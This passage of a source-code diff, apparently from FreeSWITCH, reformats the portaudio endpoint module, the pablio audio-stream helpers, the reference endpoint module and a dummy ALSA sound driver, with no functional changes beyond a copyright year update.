/*.on_hangup */ channel_on_hangup,
/*.on_exchange_media */ channel_on_exchange_media,
/*.on_soft_execute */ channel_on_soft_execute,
/*.on_consume_media*/ NULL,
/*.on_hibernate*/ NULL,
/*.on_reset*/ NULL,
/*.on_park*/ NULL,
/*.on_reporting*/ NULL,
/*.on_destroy*/ channel_on_destroy
/*.on_consume_media */ NULL,
/*.on_hibernate */ NULL,
/*.on_reset */ NULL,
/*.on_park */ NULL,
/*.on_reporting */ NULL,
/*.on_destroy */ channel_on_destroy
};
switch_io_routines_t portaudio_io_routines = {
@@ -729,7 +731,8 @@ switch_io_routines_t portaudio_io_routines = {
*/
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
if ((*new_session = switch_core_session_request(portaudio_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
@@ -771,7 +774,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_channel_set_state(channel, CS_INIT);
return SWITCH_CAUSE_SUCCESS;
@@ -808,7 +810,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_portaudio_load)
#if defined(sun) || defined(__sun)
globals.dual_streams = 0;
#endif
if ((status = load_config()) != SWITCH_STATUS_SUCCESS) {
return status;
}
@@ -949,7 +951,7 @@ static switch_status_t load_config(void)
if (!globals.dialplan) {
set_global_dialplan("XML");
}
if (!globals.context) {
set_global_context("default");
}
@@ -1008,14 +1010,14 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_portaudio_shutdown)
deactivate_audio_device();
deactivate_ring_device();
destroy_codecs();
Pa_Terminate();
switch_core_hash_destroy(&globals.call_hash);
switch_event_free_subclass(MY_EVENT_RINGING);
switch_event_free_subclass(MY_EVENT_MAKE_CALL);
switch_event_free_subclass(MY_EVENT_ERROR_AUDIO_DEV);
switch_safe_free(globals.dialplan);
switch_safe_free(globals.context);
switch_safe_free(globals.cid_name);
@@ -1135,21 +1137,22 @@ static switch_status_t devlist(char **argv, int argc, switch_stream_handle_t *st
for (i = 0; i < numDevices; i++) {
deviceInfo = Pa_GetDeviceInfo(i);
hostApiInfo = Pa_GetHostApiInfo(deviceInfo->hostApi);
stream->write_function(stream, "\t\t<device id=\"%d\" name=\"%s\" hostapi=\"%s\" inputs=\"%d\" outputs=\"%d\" />\n", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
stream->write_function(stream, "\t\t<device id=\"%d\" name=\"%s\" hostapi=\"%s\" inputs=\"%d\" outputs=\"%d\" />\n", i, deviceInfo->name,
hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
}
stream->write_function(stream, "\t</devices>\n\t<bindings>\n"
"\t\t<ring device=\"%d\" />\n"
"\t\t<input device=\"%d\" />\n"
"\t\t<output device=\"%d\" />\n"
"\t</bindings>\n</xml>\n", globals.ringdev, globals.indev, globals.outdev);
"\t\t<ring device=\"%d\" />\n"
"\t\t<input device=\"%d\" />\n"
"\t\t<output device=\"%d\" />\n" "\t</bindings>\n</xml>\n", globals.ringdev, globals.indev, globals.outdev);
} else {
for (i = 0; i < numDevices; i++) {
deviceInfo = Pa_GetDeviceInfo(i);
hostApiInfo = Pa_GetHostApiInfo(deviceInfo->hostApi);
stream->write_function(stream, "%d;%s(%s);%d;%d;", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels, deviceInfo->maxOutputChannels);
stream->write_function(stream, "%d;%s(%s);%d;%d;", i, deviceInfo->name, hostApiInfo->name, deviceInfo->maxInputChannels,
deviceInfo->maxOutputChannels);
prev = 0;
if (globals.ringdev == i) {
@@ -1268,7 +1271,7 @@ static int dump_info(int verbose)
inputParameters.sampleFormat = paInt16;
inputParameters.suggestedLatency = deviceInfo->defaultLowInputLatency; /* ignored by Pa_IsFormatSupported() */
inputParameters.hostApiSpecificStreamInfo = NULL;
outputParameters.device = i;
outputParameters.channelCount = deviceInfo->maxOutputChannels;
outputParameters.sampleFormat = paInt16;
@@ -1287,14 +1290,14 @@ static int dump_info(int verbose)
}
if (inputParameters.channelCount > 0 && outputParameters.channelCount > 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
"full-duplex 16 bit %d channel input, %d channel output rates:", inputParameters.channelCount,
outputParameters.channelCount);
PrintSupportedStandardSampleRates(&inputParameters, &outputParameters);
}
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s", line);
return 0;
@@ -1355,8 +1358,7 @@ static switch_status_t engage_device(int restart)
if (switch_core_codec_init(&globals.write_codec,
"L16",
NULL,
sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
NULL) != SWITCH_STATUS_SUCCESS) {
sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
switch_core_codec_destroy(&globals.read_codec);
return SWITCH_STATUS_FALSE;
@@ -1428,7 +1430,7 @@ static switch_status_t engage_device(int restart)
}
switch_mutex_unlock(globals.device_lock);
if (err != paNoError) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open audio device\n");
switch_core_codec_destroy(&globals.read_codec);
@@ -1442,7 +1444,7 @@ static switch_status_t engage_device(int restart)
}
return SWITCH_STATUS_FALSE;
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Engage audio device rate: %d channels %d\n", sample_rate, outputParameters.channelCount);
engage_ring_device();
@@ -1452,7 +1454,7 @@ static switch_status_t engage_device(int restart)
static switch_status_t engage_ring_device(void)
{
PaStreamParameters outputParameters = {0};
PaStreamParameters outputParameters = { 0 };
PaError err;
int sample_rate = globals.sample_rate;
int channels = 1;
@@ -1475,7 +1477,7 @@ static switch_status_t engage_ring_device(void)
outputParameters.sampleFormat = SAMPLE_TYPE;
outputParameters.suggestedLatency = Pa_GetDeviceInfo(outputParameters.device)->defaultLowOutputLatency;
outputParameters.hostApiSpecificStreamInfo = NULL;
err = OpenAudioStream(&globals.ring_stream, NULL,
err = OpenAudioStream(&globals.ring_stream, NULL,
&outputParameters, sample_rate, paClipOff, globals.read_codec.implementation->samples_per_packet, globals.dual_streams);
/* UNLOCKED ************************************************************************************************* */
switch_mutex_unlock(globals.device_lock);
@@ -1490,7 +1492,7 @@ static switch_status_t engage_ring_device(void)
return SWITCH_STATUS_SUCCESS;
error:
error:
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open ring device\n");
return SWITCH_STATUS_FALSE;
@@ -1526,7 +1528,7 @@ static switch_status_t switch_call(char **argv, int argc, switch_stream_handle_t
private_t *tp, *tech_pvt = NULL;
char *callid = argv[0];
uint8_t one_call = 0;
switch_mutex_lock(globals.pvt_lock);
if (zstr(callid)) {
@@ -1809,7 +1811,7 @@ static switch_status_t place_call(char **argv, int argc, switch_stream_handle_t
switch_channel_mark_answered(channel);
switch_channel_set_state(channel, CS_INIT);
if (switch_core_session_thread_launch(tech_pvt->session) != SWITCH_STATUS_SUCCESS) {
switch_event_t *event;
switch_event_t *event;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Error spawning thread\n");
switch_core_session_destroy(&session);
stream->write_function(stream, "FAIL:Thread Error!\n");
@@ -1878,8 +1880,7 @@ SWITCH_STANDARD_API(pa_cmd)
"pa outdev #<num>|<partial name>\n"
"pa ringdev #<num>|<partial name>\n"
"pa play [ringtest|<filename>]\n"
"pa ringfile [filename]\n"
"pa looptest\n" "--------------------------------------------------------------------------------\n";
"pa ringfile [filename]\n" "pa looptest\n" "--------------------------------------------------------------------------------\n";
if (stream->param_event) {
@@ -2029,7 +2030,7 @@ SWITCH_STANDARD_API(pa_cmd)
int samples = 0;
int seconds = 5;
int wrote = 0;
if (globals.call_list) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "ERROR: Cannot use this command this while a call is in progress\n");
goto done;
@@ -2050,7 +2051,7 @@ SWITCH_STANDARD_API(pa_cmd)
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
switch_size_t olen = globals.read_codec.implementation->samples_per_packet;
int16_t abuf[2048];
if (argv[2]) {
int i = atoi(argv[2]);
if (i >= 0) {
@@ -2069,15 +2070,15 @@ SWITCH_STANDARD_API(pa_cmd)
}
}
olen = globals.read_codec.implementation->samples_per_packet;
}
}
switch_core_file_close(&fh);
deactivate_audio_device();
seconds = wrote / globals.read_codec.implementation->actual_samples_per_second;
stream->write_function(stream, "playback test [%s] %d second(s) %d samples @%dkhz",
stream->write_function(stream, "playback test [%s] %d second(s) %d samples @%dkhz",
playfile, seconds, wrote, globals.read_codec.implementation->actual_samples_per_second);
} else {
stream->write_function(stream, "Cannot play requested file %s\n", argv[1]);
@@ -2096,9 +2097,9 @@ SWITCH_STANDARD_API(pa_cmd)
int samples = 0;
int success = 0;
int i;
for(i = 0; i < 400; i++) {
for (i = 0; i < 400; i++) {
if ((samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
globals.read_codec.implementation->samples_per_packet, &globals.read_timer))) {
globals.read_codec.implementation->samples_per_packet, &globals.read_timer))) {
WriteAudioStream(globals.audio_stream, globals.read_frame.data, (long) samples, &globals.write_timer);
success = 1;
}
@@ -2117,10 +2118,10 @@ SWITCH_STANDARD_API(pa_cmd)
if (engage_device(0) == SWITCH_STATUS_SUCCESS) {
switch_file_handle_t fh = { 0 };
if (switch_core_file_open(&fh,
argv[1],
globals.read_codec.implementation->number_of_channels,
globals.read_codec.implementation->actual_samples_per_second,
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
argv[1],
globals.read_codec.implementation->number_of_channels,
globals.read_codec.implementation->actual_samples_per_second,
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
switch_core_file_close(&fh);
set_global_ring_file(argv[1]);
} else {
+29 -28
View File
@@ -56,12 +56,14 @@
/************************************************************************/
static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
void *userData);
static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer, unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo,
PaStreamCallbackFlags statusFlags, void *userData);
static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData);
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
void *userData);
static PaError PABLIO_InitFIFO(PaUtilRingBuffer * rbuf, long numFrames, long bytesPerFrame);
static PaError PABLIO_TermFIFO(PaUtilRingBuffer * rbuf);
@@ -74,7 +76,7 @@ static PaError PABLIO_TermFIFO(PaUtilRingBuffer * rbuf);
* Read and write data
*/
static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
{
PABLIO_Stream *data = (PABLIO_Stream *) userData;
long numBytes = data->bytesPerFrame * framesPerBuffer;
@@ -91,7 +93,7 @@ static int iblockingIOCallback(const void *inputBuffer, void *outputBuffer,
}
static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
{
PABLIO_Stream *data = (PABLIO_Stream *) userData;
long numBytes = data->bytesPerFrame * framesPerBuffer;
@@ -109,7 +111,8 @@ static int oblockingIOCallback(const void *inputBuffer, void *outputBuffer,
}
static int ioblockingIOCallback(const void *inputBuffer, void *outputBuffer,
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags, void *userData)
unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo * timeInfo, PaStreamCallbackFlags statusFlags,
void *userData)
{
iblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
oblockingIOCallback(inputBuffer, outputBuffer, framesPerBuffer, timeInfo, statusFlags, userData);
@@ -151,7 +154,7 @@ long WriteAudioStream(PABLIO_Stream * aStream, void *data, long numFrames, switc
bytesWritten = PaUtil_WriteRingBuffer(&aStream->outFIFO, p, numBytes);
numBytes -= bytesWritten;
p += bytesWritten;
if (numBytes > 0) {
PaUtil_FlushRingBuffer(&aStream->outFIFO);
return 0;
@@ -172,7 +175,7 @@ long ReadAudioStream(PABLIO_Stream * aStream, void *data, long numFrames, switch
switch_core_timer_next(timer);
while(totalBytes < neededBytes && --max > 0) {
while (totalBytes < neededBytes && --max > 0) {
avail = PaUtil_GetRingBufferReadAvailable(&aStream->inFIFO);
//printf("AVAILABLE BYTES %ld pass %d\n", avail, 5000 - max);
@@ -182,7 +185,7 @@ long ReadAudioStream(PABLIO_Stream * aStream, void *data, long numFrames, switch
} else {
bytesRead = 0;
if (totalBytes < neededBytes && avail >= neededBytes) {
bytesRead = PaUtil_ReadRingBuffer(&aStream->inFIFO, p, neededBytes);
totalBytes += bytesRead;
@@ -241,10 +244,7 @@ static unsigned long RoundUpToNextPowerOf2(unsigned long n)
*/
PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
const PaStreamParameters * inputParameters,
const PaStreamParameters * outputParameters,
double sampleRate, PaStreamFlags streamFlags,
long samples_per_packet,
int do_dual)
const PaStreamParameters * outputParameters, double sampleRate, PaStreamFlags streamFlags, long samples_per_packet, int do_dual)
{
long bytesPerSample = 2;
PaError err;
@@ -261,7 +261,7 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
aStream = (PABLIO_Stream *) malloc(sizeof(PABLIO_Stream));
switch_assert(aStream);
memset(aStream, 0, sizeof(PABLIO_Stream));
if (inputParameters) {
channels = inputParameters->channelCount;
} else if (outputParameters) {
@@ -278,7 +278,7 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
if (err != paNoError) {
goto error;
}
aStream-> has_in = 1;
aStream->has_in = 1;
}
if (outputParameters) {
@@ -286,13 +286,13 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
if (err != paNoError) {
goto error;
}
aStream-> has_out = 1;
aStream->has_out = 1;
}
/* Open a PortAudio stream that we will use to communicate with the underlying
* audio drivers. */
aStream->do_dual = do_dual;
aStream->do_dual = do_dual;
if (aStream->do_dual) {
err = Pa_OpenStream(&aStream->istream, inputParameters, NULL, sampleRate, samples_per_packet, streamFlags, iblockingIOCallback, aStream);
@@ -304,16 +304,18 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
goto error;
}
} else {
err = Pa_OpenStream(&aStream->iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback, aStream);
err =
Pa_OpenStream(&aStream->iostream, inputParameters, outputParameters, sampleRate, samples_per_packet, streamFlags, ioblockingIOCallback,
aStream);
}
if (err != paNoError) {
goto error;
}
if (aStream->do_dual) {
err = Pa_StartStream(aStream->istream);
if (err != paNoError) {
goto error;
}
@@ -335,7 +337,7 @@ PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
*rwblPtr = aStream;
switch_yield(500000);
return paNoError;
error:
@@ -352,7 +354,7 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
int bytesEmpty;
int byteSize;
byteSize = aStream->outFIFO.bufferSize;
if (aStream->has_out) {
@@ -375,7 +377,7 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
Pa_CloseStream(aStream->istream);
aStream->istream = NULL;
}
if (aStream->has_out && aStream->ostream) {
if (Pa_IsStreamActive(aStream->ostream)) {
Pa_StopStream(aStream->ostream);
@@ -384,7 +386,7 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
Pa_CloseStream(aStream->ostream);
aStream->ostream = NULL;
}
} else {
if (aStream->iostream) {
if (Pa_IsStreamActive(aStream->iostream)) {
@@ -396,10 +398,10 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
}
}
if (aStream->has_in) {
if (aStream->has_in) {
PABLIO_TermFIFO(&aStream->inFIFO);
}
if (aStream->has_out) {
PABLIO_TermFIFO(&aStream->outFIFO);
}
@@ -409,4 +411,3 @@ PaError CloseAudioStream(PABLIO_Stream * aStream)
return paNoError;
}
+1 -1
View File
@@ -109,7 +109,7 @@ extern "C" {
*/
PaError OpenAudioStream(PABLIO_Stream ** rwblPtr,
const PaStreamParameters * inputParameters,
const PaStreamParameters * outputParameters,
const PaStreamParameters * outputParameters,
double sampleRate, PaStreamCallbackFlags statusFlags, long samples_per_packet, int do_dual);
PaError CloseAudioStream(PABLIO_Stream * aStream);
+14 -15
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -106,7 +106,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -200,7 +201,7 @@ static switch_status_t channel_on_destroy(switch_core_session_t *session)
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
switch_core_codec_destroy(&tech_pvt->read_codec);
}
if (switch_core_codec_ready(&tech_pvt->write_codec)) {
switch_core_codec_destroy(&tech_pvt->write_codec);
}
@@ -414,7 +415,8 @@ static switch_status_t channel_receive_message(switch_core_session_t *session, s
*/
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
if ((*new_session = switch_core_session_request(reference_endpoint_interface, SWITCH_CALL_DIRECTION_OUTBOUND, pool)) != 0) {
private_t *tech_pvt;
@@ -447,8 +449,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
}
switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_channel_set_state(channel, CS_INIT);
return SWITCH_CAUSE_SUCCESS;
@@ -480,13 +480,12 @@ switch_state_handler_table_t reference_state_handlers = {
/*.on_hangup */ channel_on_hangup,
/*.on_exchange_media */ channel_on_exchange_media,
/*.on_soft_execute */ channel_on_soft_execute,
/*.on_consume_media*/ NULL,
/*.on_hibernate*/ NULL,
/*.on_reset*/ NULL,
/*.on_park*/ NULL,
/*.on_reporting*/ NULL,
/*.on_destroy*/ channel_on_destroy
/*.on_consume_media */ NULL,
/*.on_hibernate */ NULL,
/*.on_reset */ NULL,
/*.on_park */ NULL,
/*.on_reporting */ NULL,
/*.on_destroy */ channel_on_destroy
};
switch_io_routines_t reference_io_routines = {
@@ -591,13 +590,13 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_reference_shutdown)
}
switch_yield(20000);
}
/* Free dynamically allocated strings */
switch_safe_free(globals.dialplan);
switch_safe_free(globals.codec_string);
switch_safe_free(globals.codec_rates_string);
switch_safe_free(globals.ip);
return SWITCH_STATUS_SUCCESS;
}
+227 -248
View File
@@ -18,7 +18,7 @@
*
*/
#include <sound/driver.h> //giova
#include <sound/driver.h> //giova
#include <linux/init.h>
#include <linux/err.h>
#include <linux/platform_device.h>
@@ -44,7 +44,7 @@ MODULE_SUPPORTED_DEVICE("{{ALSA,Dummy soundcard}}");
#define MAX_PCM_SUBSTREAMS 128
#define MAX_MIDI_DEVICES 2
#if 0 /* emu10k1 emulation */
#if 0 /* emu10k1 emulation */
#define MAX_BUFFER_SIZE (128 * 1024)
static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
{
@@ -57,10 +57,11 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
return err;
return 0;
}
#define add_playback_constraints emu10k1_playback_constraints
#endif
#if 0 /* RME9652 emulation */
#if 0 /* RME9652 emulation */
#define MAX_BUFFER_SIZE (26 * 64 * 1024)
#define USE_FORMATS SNDRV_PCM_FMTBIT_S32_LE
#define USE_CHANNELS_MIN 26
@@ -69,7 +70,7 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
#define USE_PERIODS_MAX 2
#endif
#if 0 /* ICE1712 emulation */
#if 0 /* ICE1712 emulation */
#define MAX_BUFFER_SIZE (256 * 1024)
#define USE_FORMATS SNDRV_PCM_FMTBIT_S32_LE
#define USE_CHANNELS_MIN 10
@@ -78,7 +79,7 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
#define USE_PERIODS_MAX 1024
#endif
#if 0 /* UDA1341 emulation */
#if 0 /* UDA1341 emulation */
#define MAX_BUFFER_SIZE (16380)
#define USE_FORMATS SNDRV_PCM_FMTBIT_S16_LE
#define USE_CHANNELS_MIN 2
@@ -87,7 +88,7 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
#define USE_PERIODS_MAX 255
#endif
#if 0 /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
#if 0 /* simple AC97 bridge (intel8x0) with 48kHz AC97 only codec */
#define USE_FORMATS SNDRV_PCM_FMTBIT_S16_LE
#define USE_CHANNELS_MIN 2
#define USE_CHANNELS_MAX 2
@@ -96,12 +97,12 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
#define USE_RATE_MAX 48000
#endif
#if 0 /* CA0106 */
#if 0 /* CA0106 */
#define USE_FORMATS SNDRV_PCM_FMTBIT_S16_LE
#define USE_CHANNELS_MIN 2
#define USE_CHANNELS_MAX 2
#define USE_RATE (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000)
#define USE_RATE_MIN 48000
#define USE_RATE (SNDRV_PCM_RATE_48000|SNDRV_PCM_RATE_96000|SNDRV_PCM_RATE_192000)
#define USE_RATE_MIN 48000
#define USE_RATE_MAX 192000
#define MAX_BUFFER_SIZE ((65536-64)*8)
#define MAX_PERIOD_SIZE (65536-64)
@@ -146,9 +147,10 @@ static int emu10k1_playback_constraints(struct snd_pcm_runtime *runtime)
static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX; /* Index 0-MAX */
static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR; /* ID for this card */
static int enable[SNDRV_CARDS] = {1, [1 ... (SNDRV_CARDS - 1)] = 0};
static int pcm_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 1};
static int pcm_substreams[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 128};
static int enable[SNDRV_CARDS] = { 1,[1...(SNDRV_CARDS - 1)] = 0 };
static int pcm_devs[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 1 };
static int pcm_substreams[SNDRV_CARDS] = {[0...(SNDRV_CARDS - 1)] = 128 };
//static int midi_devs[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 2};
module_param_array(index, int, NULL, 0444);
@@ -165,14 +167,14 @@ MODULE_PARM_DESC(pcm_substreams, "PCM substreams # (1-64) for dummy driver.");
//MODULE_PARM_DESC(midi_devs, "MIDI devices # (0-2) for dummy driver.");
static struct platform_device *devices[SNDRV_CARDS];
static struct timer_list giovatimer; //giova
static int giovastarted=0;
static int giovaindex=0;
static struct timer_list giovatimer; //giova
static int giovastarted = 0;
static int giovaindex = 0;
static spinlock_t giovalock;
struct giovadpcm {
struct snd_pcm_substream *substream;
struct snd_dummy_pcm *dpcm;
int started;
int started;
};
static struct giovadpcm giovadpcms[MAX_PCM_SUBSTREAMS];
@@ -188,8 +190,8 @@ struct snd_dummy {
struct snd_card *card;
struct snd_pcm *pcm;
spinlock_t mixer_lock;
int mixer_volume[MIXER_ADDR_LAST+1][2];
int capture_source[MIXER_ADDR_LAST+1][2];
int mixer_volume[MIXER_ADDR_LAST + 1][2];
int capture_source[MIXER_ADDR_LAST + 1][2];
};
struct snd_dummy_pcm {
@@ -208,26 +210,24 @@ struct snd_dummy_pcm {
static inline void snd_card_dummy_pcm_timer_start(struct snd_dummy_pcm *dpcm)
{
int i;
int found=0;
int i;
int found = 0;
//printk("giova: 1 timer_start %d %p\n", __LINE__, dpcm);
for(i=0; i<giovaindex+1; i++){
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
for (i = 0; i < giovaindex + 1; i++) {
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
}
if (giovadpcms[i].dpcm == dpcm) {
giovadpcms[i].started = 1;
found = 1;
}
}
if (!found) {
printk("skypiax: start, NOT found?\n");
}
if(giovadpcms[i].dpcm == dpcm){
giovadpcms[i].started=1;
found=1;
}
}
if(!found){
printk("skypiax: start, NOT found?\n");
}
//printk("giova: 2 timer_start %d %p\n", __LINE__, dpcm);
}
@@ -235,23 +235,23 @@ if(!found){
static inline void snd_card_dummy_pcm_timer_stop(struct snd_dummy_pcm *dpcm)
{
//del_timer(&dpcm->timer);
int i;
int found=0;
int i;
int found = 0;
//printk("giova: 1 timer_stop %d %p\n", __LINE__, dpcm);
for(i=0; i<giovaindex +1; i++){
for (i = 0; i < giovaindex + 1; i++) {
if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
}
if (giovadpcms[i].dpcm == dpcm) {
giovadpcms[i].started = 0;
found = 1;
}
}
if(giovadpcms[i].dpcm == dpcm){
giovadpcms[i].started=0;
found=1;
}
}
if(!found){
//printk("skypiax: stop, NOT found?\n");
} else {
if (!found) {
//printk("skypiax: stop, NOT found?\n");
} else {
//printk("skypiax: stop, YES found!\n");
}
@@ -294,8 +294,7 @@ static int snd_card_dummy_pcm_prepare(struct snd_pcm_substream *substream)
struct snd_dummy_pcm *dpcm = runtime->private_data;
int bps;
bps = snd_pcm_format_width(runtime->format) * runtime->rate *
runtime->channels / 8;
bps = snd_pcm_format_width(runtime->format) * runtime->rate * runtime->channels / 8;
if (bps <= 0)
return -EINVAL;
@@ -306,8 +305,7 @@ static int snd_card_dummy_pcm_prepare(struct snd_pcm_substream *substream)
dpcm->pcm_period_size = snd_pcm_lib_period_bytes(substream);
dpcm->pcm_irq_pos = 0;
dpcm->pcm_buf_pos = 0;
snd_pcm_format_set_silence(runtime->format, runtime->dma_area,
bytes_to_samples(runtime, runtime->dma_bytes));
snd_pcm_format_set_silence(runtime->format, runtime->dma_area, bytes_to_samples(runtime, runtime->dma_bytes));
//printk("giova: prepare %d %p\n", __LINE__, dpcm);
return 0;
@@ -316,49 +314,49 @@ static int snd_card_dummy_pcm_prepare(struct snd_pcm_substream *substream)
static void snd_card_dummy_pcm_timer_function(unsigned long data)
{
//struct snd_dummy_pcm *dpcm = (struct snd_dummy_pcm *)data;
